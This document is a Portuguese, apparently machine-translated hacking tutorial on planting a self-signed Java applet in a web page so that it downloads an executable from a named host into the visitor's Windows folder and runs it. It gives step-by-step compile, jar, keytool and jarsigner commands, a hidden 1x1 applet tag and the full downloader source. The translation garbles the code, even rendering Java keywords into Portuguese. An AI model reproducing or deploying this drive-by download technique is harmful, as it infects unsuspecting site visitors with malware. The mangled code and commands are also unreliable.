Note que eu não apoio para fazer isso .. atividade maliciosa!
Este tutorial mostra como é fácil fazer as coisas mal-intencionados com java, sempre ser cautelosos com os applets que você execute
Créditos para unkn0wn/bytesize
Este tutorial mostrará como usar applets java em seu site, que automaticamente o download e executar o malware no computador do visitante. Algumas pessoas podem, ouviu falar sobre isso, algumas pessoas podem saber como fazê-lo, mas, no entanto, ainda estou escrevendo um tutorial para aqueles que não. Por favor, observe o seguinte:
1) Eu não escrevi o código Java a ser utilizado (eu só tirei um monte de porcaria inútil e adicionou algumas linhas)
2) Não é o mesmo código utilizado em milw0rm.
3) Eu não descobri isso.
Requisitos:
1) Hospedagem (melhor se fosse seu próprio, mas pode usar qualquer um que permite o upload de exe)
2) Java SDK (a maioria provavelmente terá esta opção se você não pode baixá-lo aqui>http://java.sun.com/javase/6/download.jsp)
3) O malware (ou qualquer outra coisa que você quer que auto baixar e executar)
Vamos começar!
Java applets são autorizados a acessar o sistema, uma vez que eles são assinados com certificados, que custam cerca de US $ 700! Mas não se preocupe, você pode realmente assinar applets java mesmo, mas porque você auto-assinado esses miniaplicativos antes da carga applets você vai ver algo como isto:
Vemos isso o tempo todo, e para o povo maior parte será apenas clique em executar de qualquer maneira, assim que o visitante clica em executar o malware irá baixar e executar em seu sistema. Agora vamos percorrer os campos que você pode ver na cert.
Nome:
O nome é retirado o nome da classe do arquivo java que você usou para o seu applets. Assim, o nome que você deseja que apareça no aviso cert unsigned apenas o nome da classe java.
Editora:
Você pode inserir isso quando você está assinando o seu applets, o editor será o que você entra para 'Nome' (você vai entender o que eu quero dizer mais tarde!)
De:
Este será apenas o sítio onde os applets java são armazenados!
Por favor note: 120 am.co.uk * é um site que eu setup com a hera venenosa, não vá lá.
Agora entendemos a cert, vamos dar uma olhada no código java. Não vou explicar tudo isso, eu vou explicar as peças que você precisará editar para seu próprio uso.
Ok, se você olhar o código java previstas (no final do tutorial em etiquetas de código!) Estas são as peças que você precisa para mudar.
fileoot String = System.getenv ("WINDIR");
Fname String = "\ sch.exe \";
String = efool fileoot.concat (fname);
A primeira linha simplesmente obtém o WINDIR ambiente variável, que vai voltar C: \ Windows
A segunda linha será o que você quer que seu malware para ser chamado quando armazenados em seu computador.Neste caso, é sch.exe
A terceira linha coloca tudo junto e armazena na efool variável. Assim, neste exemplo ele vai ficar assim:
C: \ Windows \ sch.exe
Esta é, obviamente, que o nosso malware vai ser quando armazenados no computador do usuário!
A parte seguinte à mudança é:
URL url = new URL ("http://www.1201am.co.uk/sch.exe");
Basta alterar o am.co.uk * 120 / sch.exe para o caminho de onde o malware é armazenada no seu site!
Também é possível alterar essa parte:
Cliente public class Applet
Como mencionado anteriormente o campo nome na cert pop-up será o nome da classe, então onde ele diz que a mudança 'Cliente' isso que você quer.
Você também vai precisar para mudar o construtor de classes com o mesmo nome que você mudou muito 'Cliente' acima.Que se parece com isto:
Cliente pública ()
{
}
Então, basta alterar o local onde ele diz que a cliente quer que você renomeou a classe.
Isso é tudo que nós realmente precisamos de mudança.
Depois de ter feito as alterações, salve o arquivo como:
Client.java
Se você chamar a classe, como mencionado mais cedo você vai precisar do nome do arquivo java o mesmo.
Agora as coisas próxima que temos de fazer são: Compilar o código Java para uma classe, compilá-lo para uma jarra, a jarra assinar com o nosso cert self-made, Coloque-as em um documento HTML como applets, e fazer o upload para o site..!
Agora, para facilitar as coisas, mover o arquivo para o java Client.java pasta bin do SDK, que por padrão será:
C: \ Program Files \ jdk1.6.0 \ bin
Este é o lugar onde todas as ferramentas que precisamos é de
Agora abra prompt de comando e altere o caminho para C: \ Program Files \ jdk1.6.0 \ bin
Simplesmente digitando:
Cd C: \ Program Files \ jdk1.6.0 \ bin
Por isso, vou procurar algo parecido com isto:
Pinte a imagem desfigurada, desculpe sobre isso, mas é claro o suficiente para ver?
Agora, a próxima coisa que precisamos fazer é tornar o arquivo java. Para um arquivo de classe.
Basta digitar:
Client.java javac
(Há um espaço entre javac e Client.java)
Agora, uma classe irá aparecer no mesmo diretório do arquivo java (yey?)
Agora precisamos compilar o arquivo de classe em um arquivo jar.!
Digite o nome de:
Client.jar Client.class jar cf
Client.jar será o nome do seu arquivo jar recém compilado. E Client.class é a classe que fizemos anteriormente.
Agora, em seu diretório, você deve ter, Client.java, Client.class e client.jar.
Tudo o que temos a fazer agora é criar nosso certificado e atribuí-lo ao nosso arquivo jar. Então colocá-los como applets e fazer o upload para o site?
Ok, agora no cmd vamos utilizar o keytool para criar a nossa keyfile e cert.
Para criar a keyfile simplesmente fazer isso:
keytool-keystore genkey MyFileName-alias-me
Agora, onde ele diz que MyFileName, mude para o que vc gosta.
Lembre-se da senha que você entra, você vai precisar dele mais tarde!
Ela vai pedir-lhe outras coisas, como nome, organização etc ...
Basta fazer as pazes. Em seguida, ele vai perguntar se ele está correto, basta digitar "sim" e pressione enter. Em seguida, ele vai pedir para você digitar um passe para <me>, apenas pressione Enter novamente.
Agora precisamos usar o keytool novamente a auto-cert.
Veja como:
keytool-keystore SelfCert MyFileName-alias-me
novamente, onde diz MyFileName, digite o mesmo nome que você usou mais cedo!
Em seguida, ele vai pedir para você digitar uma senha, esta é a senha que você usou anteriormente. É por isso que eu lhe pedi para se lembrar?
Uma vez que você entrou em seu passe, apenas pressione Enter.
Ok, agora nós temos que assinar o jar. Cert com o que criamos!
Para isso basta fazer isso:
keystore jarsigner-me myFileName client.jar
Agora, onde ele diz que myFileName usar o nome do arquivo que você usou anteriormente para o keyfile, e onde se diz client.jar basta colocar em seu arquivo jar que é chamado!
Ele vai pedir novamente a senha, insira-o e ele deve dizer:
Atenção:
Os certificados de assinante irá expirar após seis meses.
Parabéns, você compilou e assinou o seu código Java. Agora precisamos colocá-los na forma de applets java e fazer o upload do site.
Veja como:
<applet width='1' height='1' code='Client.class' archive='Client.jar'> </ applet>
Onde se lê Client.class basta colocar a classe que você fez anteriormente, e onde se diz client.jar que é o arquivo jar que fizemos e assinado anteriormente.
Salve-os como arquivo HTML. Faça o upload do arquivo HTML, arquivo de classe. Jar e seu malware para o anfitrião e meu amigo, você é feito?
Espero que você tenha aprendido algo novo e pode ser útil em algum momento!
java.applet.Applet importação;
import java.io. *;
java.net.URL importação;
java.net.URLConnection importação;
import java.awt .*;
importação java.net .*;
Cliente public class Applet
{
Cliente pública ()
{
}
public void iniciar ()
{
tente
{
fileoot String = System.getenv ("WINDIR");
Fname String = "\ sch.exe \";
String = efool fileoot.concat (fname);
BufferedOutputStream BufferedOutputStream = null;
Objeto obj = null;
inputstream InputStream = null;
URL url = new URL ("http://www.1201am.co.uk/sch.exe");
BufferedOutputStream BufferedOutputStream = new (novo FileOutputStream (efool));
URLConnection URLConnection url.openConnection = ();
urlconnection.getInputStream inputstream = ();
abyte0 byte [] = new byte [1024];
int i;
para (l = 0D tempo; i (= InputStream.Read (abyte0)) = -1;! l + i =)
bufferedoutputstream.write (abyte0, 0, i);
tente
{
if (inputstream! = null)
inputstream.close ();
if (BufferedOutputStream! = null)
bufferedoutputstream.close ();
}
catch (IOException IOException) {
}
Tempo de execução runtime = Runtime.getRuntime ();
tente
{
Process processo = Runtime.exec (efool);
process.waitFor ();
BufferedReader BufferedReader = new BufferedReader (novo InputStreamReader ())); (process.getInputStream
}
catch (Exception exception1) {
}
tente
{
if (inputstream! = null)
inputstream.close ();
if (BufferedOutputStream! = null)
bufferedoutputstream.close ();
}
catch (IOException ioexception1) {
}
}
catch (Exception e) {}
}
public void main (String [] args)
{
start ();
}
public void stop ()
{
}
}